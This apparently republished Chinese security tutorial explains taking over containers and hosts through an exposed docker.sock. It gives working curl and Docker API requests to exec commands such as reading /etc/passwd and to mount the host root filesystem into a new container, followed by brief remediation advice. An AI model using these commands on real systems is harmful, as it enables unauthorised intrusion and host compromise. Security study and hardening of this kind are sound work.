如何通過暴露的docker.sock文件接管容器

今天就跟大家聊聊有關(guān)如何通過暴露的docker.sock文件接管容器,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

創(chuàng)新互聯(lián)是一家專業(yè)提供銅鼓企業(yè)網(wǎng)站建設(shè),專注與成都做網(wǎng)站、成都網(wǎng)站建設(shè)、成都h5網(wǎng)站建設(shè)、小程序制作等業(yè)務(wù)。10年已為銅鼓眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進(jìn)行中。

默認(rèn)情況下,當(dāng)在主機(jī)上執(zhí)行docker命令時(shí),對docker daemon的API調(diào)用是通過位于/var/run/docker.sock的非聯(lián)網(wǎng)UNIX套接字進(jìn)行的。此套接字文件是控制在該主機(jī)上運(yùn)行的任何docker容器的主API。但是,許多容器和指南會要求你將該套接字文件作為容器中的一個(gè)卷公開[1][2][3][4][5][6] ,或在某些情況下,將其暴露在TCP端口[1][2][3]上。這樣做是非常危險(xiǎn)的,本地或遠(yuǎn)程暴露/var/run/docker.sock的Docker容器很有可能會被惡意攻擊者完全的接管。

截至目前,我已發(fā)現(xiàn)了大量將docker.sock暴露在互聯(lián)網(wǎng)中的服務(wù)器

其實(shí)這并不是一個(gè)新鮮的漏洞,在此之前早已有文章討論過關(guān)于暴露docker.sock文件所帶來的危險(xiǎn)性的文章。而本文我將擴(kuò)展這個(gè)問題,解釋如何利用它,以及如何采取措施應(yīng)對這個(gè)問題。如果你在Twitter上關(guān)注了我,你將會在不久后獲取到我分享的一個(gè)腳本,它可以幫助你更輕松地進(jìn)行利用。

你能做什么?

利用暴露的docker.sock文件,你可以在主機(jī)上運(yùn)行的任意容器中執(zhí)行你想要的任何操作。通過本地或遠(yuǎn)程訪問docker.sock文件,你可以像在主機(jī)上運(yùn)行docker命令一樣控制docker。

最簡單的例子是利用官方docker客戶端訪問docker.sock文件(例如你碰巧訪問到了已安裝docker客戶端的容器,或是你可以安裝docker客戶端)。要利用它很簡單,你可以運(yùn)行常規(guī)的docker命令,包括exec來獲取shell:

root@9e50daaea94f:/# ls -alh /var/run/docker.sock #checking if socket is availible
srw-rw---- 1 root 999 0 Apr  4 02:00 /var/run/docker.sock

root@9e50daaea94f:/# hostname
9e50daaea94f

root@9e50daaea94f:/# docker container ls
CONTAINER ID        NAMES
509eebf873fb        another_container
9e50daaea94f        current_container

root@9e50daaea94f:/# docker exec -it another_container bash #running bash on the other container

root@509eebf873fb:/# hostname
509eebf873fb

然而,想要運(yùn)行它,你必須已在容器上安裝RCE。即使使用RCE,大多數(shù)情況下你也可能無法訪問docker客戶端,以及安裝docker客戶端。如果是這種情況,你可以對/var/run/docker.sock進(jìn)行原始http請求。

雖然可以通過向docker.sock文件發(fā)出HTTP請求來在docker容器上利用RCE利用docker環(huán)境,但這種情況不太可能發(fā)生。更大的幾率是找到通過TCP端口遠(yuǎn)程暴露的docker.sock文件。

如果你需要運(yùn)行未在以下列出的任何其他命令,docker API將可以很好的幫到你。

這里有一個(gè)CloudFormation腳本。你需要擁有一個(gè)具有啟動新EC2實(shí)例權(quán)限的AWS賬戶。完成后別忘了刪除stack!

在容器上獲取 RCE

1)列出所有容器

第一步是獲取主機(jī)上所有容器的列表。為此,你需要執(zhí)行以下http請求:

GET /containers/json HTTP/1.1
Host: <docker_host>:PORT

Curl 命令:

curl -i -s -X GET http://<docker_host>:PORT/containers/json

響應(yīng):

HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Thu, 04 Apr 2019 05:56:03 GMT
Content-Length: 1780

[
    {
        "Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf",
        "Names":["/another_container"],
        "Image":"ubuntu:latest",
        "ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499",
        "Command":"bash",
        "Created":1554357359,
        "Ports":[],
        "Labels":{},
        "State":"running",
        "Status":"Up 3 seconds",
        "HostConfig":{"NetworkMode":"default"},
        "NetworkSettings":{"Networks": 
        ...

注意響應(yīng)中的“Id”字段,因?yàn)橄乱粋€(gè)命令將會用到它。

2) 創(chuàng)建一個(gè) exec

接下來,我們需要創(chuàng)建一個(gè)將在容器上執(zhí)行的“exec”實(shí)例。你可以在此處輸入要運(yùn)行的命令。

請求中的以下項(xiàng)目需要在請求中進(jìn)行更改:

Container ID    Docker Host    Port    Cmd(我的示例中將 cat /etc/passwd)

POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
  "AttachStdin": true,
  "AttachStdout": true,
  "AttachStderr": true,
  "Cmd": ["cat", "/etc/passwd"],
  "DetachKeys": "ctrl-p,ctrl-q",
  "Privileged": true,
  "Tty": true
}

Curl 命令:

curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec

響應(yīng):

HTTP/1.1 201 Created
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Fri, 05 Apr 2019 00:51:31 GMT
Content-Length: 74

{"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}

注意響應(yīng)中的“Id”字段,因?yàn)橄乱粋€(gè)命令將會用到它。

3)啟動 exec

現(xiàn)在創(chuàng)建了“exec”,我們需要運(yùn)行它。

你需要更改請求中的以下項(xiàng)目:

Exec ID    Docker Host    Port

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
 "Detach": false,
 "Tty": false
}

Curl 命令:

curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start

響應(yīng):

HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.39
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

接管主機(jī)

啟動一個(gè)docker容器,主機(jī)的根目錄安裝到容器的一個(gè)卷上,這樣就可以對主機(jī)的文件系統(tǒng)執(zhí)行命令。由于本文中所討論的漏洞允許你完全的控制API,因此可以控制docker主機(jī)。

注意:不要忘記更改dockerhost,port和containerID 

1)下載 ubuntu 鏡像

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest

2)使用已安裝的卷創(chuàng)建容器

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create

3)啟動容器

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start

至此,你可以利用代碼執(zhí)行漏洞對新容器運(yùn)行命令。如果要對Host OS運(yùn)行命令,請不要忘記添加chroot/hostos。

如何修復(fù)?

避免遠(yuǎn)程或在容器級別暴露docker.sock文件(如果可能)

如果你需要遠(yuǎn)程提供套接字文件,請執(zhí)行此處的操作

設(shè)置適當(dāng)?shù)陌踩M和防火墻規(guī)則,以阻止非法IP的訪問

附錄

本地命令

下面是一個(gè)CURL命令列表,如果API不能遠(yuǎn)程使用,但可以在本地使用,則可以運(yùn)行這些命令。

1) 列出所有的容器

sudo curl -i -s --unix-socket /var/run/docker.sock -X GET \
http://localhost/containers/json

2) 創(chuàng)建一個(gè) exec

sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://localhost/containers/<container_id>/exec

3) 啟動 exec

sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://localhost/exec/<exec_id>/start

看完上述內(nèi)容,你們對如何通過暴露的docker.sock文件接管容器有進(jìn)一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。

本文名稱:如何通過暴露的docker.sock文件接管容器
當(dāng)前地址:http://muchs.cn/article26/ighjjg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站內(nèi)鏈、微信公眾號、標(biāo)簽優(yōu)化、網(wǎng)站導(dǎo)航商城網(wǎng)站、手機(jī)網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

微信小程序開發(fā)